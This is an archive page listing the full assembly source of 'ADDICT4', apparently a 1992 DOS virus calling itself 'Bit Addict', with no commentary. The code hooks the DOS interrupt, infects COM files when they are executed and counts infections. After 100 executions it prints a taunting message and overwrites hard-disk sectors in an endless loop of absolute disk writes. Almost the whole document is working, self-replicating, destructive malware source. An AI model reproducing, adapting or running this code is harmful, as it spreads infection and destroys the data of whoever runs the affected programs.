home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ADDICT4.ASM < prev    next >
Assembly Source File  |  1992-03-17  |  3KB  |  224 lines

  1. code segment
  2.     org    0
  3.  
  4.     call    Virus
  5.  
  6. Displacement    equ    $
  7.  
  8. SavedCode    db    0cdh,020h,11 dup (090h)
  9.  
  10. OldInt21    dd    0
  11. Count        db    0
  12.  
  13. Jump        db    0e9h
  14. NearOfset    dw    0
  15. ID        db    'Bit Addict says: ',13,10
  16.         db    '"You have a good taste for hard disks, it was delicious!"'
  17.         db    '$'
  18.  
  19. NewInt21:
  20.     cmp    ax,0ffffh
  21.     jne    Ok
  22.     cmp    dx,ax
  23.     jne    Ok
  24.     mov    ax,cs
  25.     iret
  26. Ok:    cmp    ah,4bh
  27.     je    Exec
  28.     jmp    EOI
  29.  
  30. Exec:    cmp    cs:Count,100
  31.     jb    Infect
  32.  
  33.     push    cs
  34.     pop    ds
  35.     mov    ah,9
  36.     lea    dx,ID
  37.     int    21h
  38.  
  39.     xor    dx,dx
  40.     cli
  41. Repeat:    push    dx
  42.     mov    ax,2
  43.     xor    bx,bx
  44.     mov    cx,100
  45.     int    26h
  46.     pop    ax
  47.     pop    dx
  48.     add    dx,100
  49.     jmp    short Repeat
  50.  
  51. Infect:    push    ax
  52.     push    bx
  53.     push    cx
  54.     push    si
  55.     push    di
  56.     push    ds
  57.     push    es
  58.     push    dx
  59.     mov    ax,04300h
  60.     int    21h
  61.     push    cx
  62.     mov    ax,04301h
  63.     xor    cx,cx
  64.     int    21h
  65.     mov    ax,03d02h
  66.     int    21h
  67.     jnc    OpenOk
  68.     jmp    Error
  69. OpenOk:    mov    bx,ax
  70.     mov    ax,05700h
  71.     int    21h
  72.     push    cx
  73.     push    dx
  74.     push    cs
  75.     pop    ds
  76.     push    cs
  77.     pop    es
  78.     mov    ah,3fh
  79.     mov    cx,13
  80.     lea    dx,SavedCode
  81.     int    21h
  82.     jc    Close2
  83.     lea    si,ID
  84.     lea    di,SavedCode[3]
  85.     mov    cx,10
  86.     cld
  87.     repe    cmpsb
  88.     je    Counter
  89.     cmp    word ptr SavedCode,5a4dh
  90.     je    Close2
  91.     mov    ax,04202h
  92.     xor    cx,cx
  93.     xor    dx,dx
  94.     int    21h
  95.     jc    Close
  96.     or    dx,dx
  97.     jne    Close
  98.     sub    ax,3
  99.     jb    Close
  100.     mov    NearOfset,ax
  101.     mov    Count,0
  102.     mov    ah,40h
  103.     mov    cx,CodeSize
  104.     xor    dx,dx
  105.     int    21h
  106.     jc    Close
  107.     mov    ax,4200h
  108.     xor    cx,cx
  109.     xor    dx,dx
  110.     int    21h
  111.     jc    Close
  112.     mov    ah,40h
  113.     mov    cx,13
  114.     lea    dx,Jump
  115.     int    21h
  116. Close2:    jmp    short Close
  117. Counter:mov    dx,word ptr SavedCode[1]
  118.     add    dx,offset Count+3
  119.     xor    cx,cx
  120.     mov    ax,4200h
  121.     int    21h
  122.     jc    Close
  123.     push    ax
  124.     push    dx
  125.     mov    ah,3fh
  126.     mov    cx,1
  127.     lea    dx,Count
  128.     int    21h
  129.     pop    cx
  130.     pop    dx
  131.     jc    Close
  132.     inc    Count
  133.     mov    ax,4200h
  134.     int    21h
  135.     jc    Close
  136.     mov    ah,40h
  137.     mov    cx,1
  138.     lea    dx,Count
  139.     int    21h
  140. Close:    pop    dx
  141.     pop    cx
  142.     mov    ax,05701h
  143.     int    21h
  144.     mov    ax,03e00h
  145.     int    21h
  146. Error:    pop    cx
  147.     pop    dx
  148.     pop    es
  149.     pop    ds
  150.     mov    ax,04301h
  151.     int    21h
  152.     pop    di
  153.     pop    si
  154.     pop    cx
  155.     pop    bx
  156.     pop    ax
  157. EOI:    jmp    cs:OldInt21
  158.  
  159. Virus:    mov    ax,0ffffh
  160.     mov    dx,ax
  161.     int    21h
  162.     pop    bx
  163.     sub    bx,Displacement
  164.     mov    ds,ax
  165.     xor    si,si
  166.     mov    di,bx
  167.     mov    cx,CodeSize
  168.     rep    cmpsb
  169.     je    Exit
  170.     push    bx
  171.     mov    ah,52h
  172.     int    21h
  173.     push    es
  174.     push    bx
  175.     mov    ah,30h
  176.     int    21h
  177.     pop    si
  178.     pop    ds
  179.     pop    bx
  180.     cmp    al,2
  181.     jb    Exit
  182.     cmp    al,3
  183.     adc    si,12h
  184.     les    di,[si]
  185.     push    es
  186.     push    di
  187.     les    di,es:[di]
  188.     mov    [si],di
  189.     mov    [si+2],es
  190.     pop    ax
  191.     pop    dx
  192.     add    ax,0fh
  193.     mov    cl,4
  194.     shr    ax,cl
  195.     add    ax,dx
  196.     mov    es,ax
  197.     push    cs
  198.     pop    ds
  199.     mov    si,bx
  200.     xor    di,di
  201.     mov    cx,CodeSize
  202.     cld
  203.     rep    movsb
  204.     xor    ax,ax
  205.     mov    ds,ax
  206.     mov    ax,[84h]
  207.     mov    es:word ptr OldInt21[0],ax
  208.     mov    ax,[86h]
  209.     mov    es:word ptr OldInt21[2],ax
  210.     mov    word ptr [84h],NewInt21
  211.     mov    word ptr [86h],es
  212. Exit:    push    cs
  213.     pop    es
  214.     push    cs
  215.     pop    ds
  216.     lea    si,SavedCode[bx]
  217.     mov    di,0100h
  218.     push    di
  219.     mov    cx,13
  220.     rep    movsb
  221.     ret
  222.  
  223. CodeSize    equ    $
  224.